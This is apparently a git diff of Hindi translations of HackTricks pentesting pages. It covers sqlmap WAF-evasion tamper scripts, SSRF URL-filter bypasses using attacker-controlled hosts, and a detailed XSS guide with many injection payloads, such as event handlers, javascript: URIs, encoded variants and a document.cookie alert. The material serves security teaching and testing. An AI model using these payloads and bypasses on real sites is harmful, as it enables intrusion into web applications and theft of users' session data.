| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022" |
|
||||
| equaltolike.py | समानता ऑपरेटर ('=') के सभी उदाहरणों को 'LIKE' ऑपरेटर के साथ बदलता है |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022" |
|
||||
| equaltolike.py | '=' ऑपरेटर के सभी उदाहरणों को 'LIKE' ऑपरेटर के साथ बदलता है |
|
||||
| escapequotes.py | उद्धरण चिह्नों (' और ") को स्लैश से एस्केप करता है |
|
||||
| greatest.py | बड़े से बड़ा ऑपरेटर ('>') को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
| greatest.py | '>' ऑपरेटर को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
| halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
|
||||
| modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
|
||||
@ -167,7 +171,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| randomcase.py | प्रत्येक कीवर्ड चर को यादृच्छिक केस मान के साथ बदलता है |
|
||||
| randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
|
||||
| securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
|
||||
| sp_password.py | DBMS लॉग से स्वचालित छिपाने के लिए पेलोड के अंत में 'sp_password' जोड़ता है |
|
||||
| sp_password.py | पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिपाया जा सके |
|
||||
| space2comment.py | स्पेस चर (' ') को टिप्पणियों के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2hash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
@ -181,7 +185,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटर को उनके प्रतीकात्मक समकक्ष (&& और |
|
||||
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चर (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चर को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चर को अपर केस मान 'INSERT' के साथ बदलता है |
|
||||
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
|
||||
| versionedkeywords.py | प्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
|
||||
@ -2,9 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### लोकलहोस्ट
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
@ -145,7 +146,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक आजमा सकते हैं:
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक को आजमा सकते हैं:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -157,7 +158,7 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का होस्ट डाल सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक Host हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
|
||||
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का होस्ट दर्ज कर सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक Host हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -192,13 +193,13 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-trick
|
||||
|
||||
_बैकस्लैश-ट्रिक_ [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच के अंतर का लाभ उठाता है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
|
||||

|
||||
|
||||
### Left square bracket
|
||||
|
||||
उपयोगकर्ता जानकारी खंड में “बाएं वर्ग ब्रैकेट” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न होता है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
उपयोगकर्ता जानकारी खंड में “left square bracket” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Other Confusions
|
||||
|
||||
|
||||
@ -54,10 +54,10 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित होता है, तो आप कोशिश कर सकते हैं:
|
||||
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग करने के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
|
||||
```html
|
||||
@ -69,13 +69,13 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
|
||||
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
|
||||
|
||||
- यदि **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
- यदि **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
- यदि यह **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- यदि टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
|
||||
- यदि यह टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **यूनिकोड एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -92,19 +92,19 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फ़ंक्शन का नाम पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
|
||||
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
|
||||
|
||||
.png>)
|
||||
|
||||
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**. हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर की अनुमति हो (**`[\w\._]`**).
|
||||
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर (**`[\w\._]`**) की अनुमति दी जा सके।
|
||||
|
||||
हालांकि, उस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
|
||||
हालांकि, इस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
|
||||
|
||||
.png>)
|
||||
|
||||
इसके लिए कुछ उपयोगी फंक्शंस:
|
||||
इसके लिए कुछ उपयोगी फ़ंक्शन:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने** **फाइलों** को **पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
|
||||
कुछ **उदाहरण**:
|
||||
|
||||
{{#ref}}
|
||||
@ -162,15 +162,15 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\
|
||||
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाई गई वैध टैग के अंदर विशेषताएँ/इवेंट्स का ब्रूट-फोर्स करना होगा** यह देखने के लिए कि आप संदर्भ पर कैसे हमला कर सकते हैं।
|
||||
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं।
|
||||
|
||||
### टैग/इवेंट्स ब्रूट-फोर्स
|
||||
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप वैध टैग का उपयोग करके **सभी इवेंट्स का ब्रूट-फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **मान्य टैग का उपयोग करके सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
|
||||
### कस्टम टैग
|
||||
|
||||
यदि आपने कोई वैध HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड को निष्पादित करे**:
|
||||
यदि आपने कोई मान्य HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** को **निष्पादित** करे:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -243,14 +243,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
यदि आप सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,14 +267,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
```
|
||||
### Within the attribute
|
||||
|
||||
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **आपका मान किस attribute में परिलक्षित हो रहा है** **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपका मान प्रतिबिंबित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
|
||||
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोडिंग मान्य है**:
|
||||
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -295,7 +295,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**यूनिकोड एन्कोड का उपयोग करके इनसाइड इवेंट बायपास करें**
|
||||
**Unicode एन्कोड का उपयोग करके अंदर के इवेंट को बायपास करें**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -303,7 +303,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
||||
```
|
||||
### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर
|
||||
|
||||
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाना JS कोड** निष्पादित करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -357,7 +357,7 @@ _**इस मामले में, पिछले अनुभाग से H
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **उपयोग** करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**।
|
||||
ध्यान दें कि यदि आप किसी भी क्रम में **दोनों** `URLencode + HTMLencode` का उपयोग करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**।
|
||||
|
||||
**`javascript:` के साथ Hex और Octal encode का उपयोग करना**
|
||||
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग की का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -440,15 +440,15 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
**HTML टैग और विशेषताओं के लिए बायपास**
|
||||
|
||||
पढ़ें[ पिछले अनुभाग के ब्लैकलिस्ट बायपास](#blacklist-bypasses)।
|
||||
पिछले अनुभाग के[ ब्लैकलिस्ट बायपास पढ़ें](#blacklist-bypasses).
|
||||
|
||||
**जावास्क्रिप्ट कोड के लिए बायपास**
|
||||
|
||||
पढ़ें J[ावास्क्रिप्ट बायपास ब्लैकलिस्ट के अगले अनुभाग](#javascript-bypass-blacklists-techniques)।
|
||||
[जावास्क्रिप्ट बायपास ब्लैकलिस्ट पढ़ें](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-गैजेट्स
|
||||
|
||||
